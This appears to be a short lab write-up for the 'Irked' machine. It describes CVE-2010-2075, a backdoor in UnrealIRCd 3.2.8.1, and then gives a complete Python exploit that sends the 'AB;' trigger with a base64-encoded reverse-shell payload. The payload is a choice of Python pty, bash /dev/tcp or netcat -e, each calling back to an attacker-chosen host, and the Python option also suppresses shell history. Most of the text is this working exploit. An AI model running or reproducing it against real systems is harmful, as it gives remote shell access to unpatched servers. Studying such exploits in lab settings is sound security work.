Irked_CVE-2010-2075

CVE-2010-2075

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a vulnerability classified as critical has been found in unrealircd 3.2.8.1. This affects an unknown part. The manipulation with an unknown input leads to a input validation vulnerability. CWE is classifying the issue as CWE-20. The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. This is going to have an impact on confidentiality, integrity, and availability.

Exploit

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#!/usr/bin/python3
import argparse
import socket
import base64
 
# Sets the target ip and port from argparse
parser = argparse.ArgumentParser()
parser.add_argument('ip', help='target ip')
parser.add_argument('port', help='target port', type=int)
parser.add_argument('-payload', help='set payload type', required=True, choices=['python', 'netcat', 'bash'])
args = parser.parse_args()
 
# Sets the local ip and port (address and port to listen on)
local_ip = ''  # CHANGE THIS
local_port = ''  # CHANGE THIS 
 
# The different types of payloads that are supported
python_payload = f'python -c "import os;import pty;import socket;tLnCwQLCel=\'{local_ip}\';EvKOcV={local_port};QRRCCltJB=socket.socket(socket.AF_INET,socket.SOCK_STREAM);QRRCCltJB.connect((tLnCwQLCel,EvKOcV));os.dup2(QRRCCltJB.fileno(),0);os.dup2(QRRCCltJB.fileno(),1);os.dup2(QRRCCltJB.fileno(),2);os.putenv(\'HISTFILE\',\'/dev/null\');pty.spawn(\'/bin/bash\');QRRCCltJB.close();" '
bash_payload = f'bash -i >& /dev/tcp/{local_ip}/{local_port} 0>&1'
netcat_payload = f'nc -e /bin/bash {local_ip} {local_port}'
 
# our socket to interact with and send payload
try:
    s = socket.create_connection((args.ip, args.port))
except socket.error as error:
    print('connection to target failed...')
    print(error)
    
# craft out payload and then it gets base64 encoded
def gen_payload(payload_type):
    base = base64.b64encode(payload_type.encode())
    return f'echo {base.decode()} |base64 -d|/bin/bash'
 
# all the different payload options to be sent
if args.payload == 'python':
    try:
        s.sendall((f'AB; {gen_payload(python_payload)} \n').encode())
    except:
        print('connection made, but failed to send exploit...')
 
if args.payload == 'netcat':
    try:
        s.sendall((f'AB; {gen_payload(netcat_payload)} \n').encode())
    except:
        print('connection made, but failed to send exploit...')
 
if args.payload == 'bash':
    try:
        s.sendall((f'AB; {gen_payload(bash_payload)} \n').encode())
    except:
        print('connection made, but failed to send exploit...')
    
#check display any response from the server
data = s.recv(1024)
s.close()
if data != '':
    print('Exploit sent successfully!')

I found an exploit online

I changed the values of the following variables: local_ip and local_port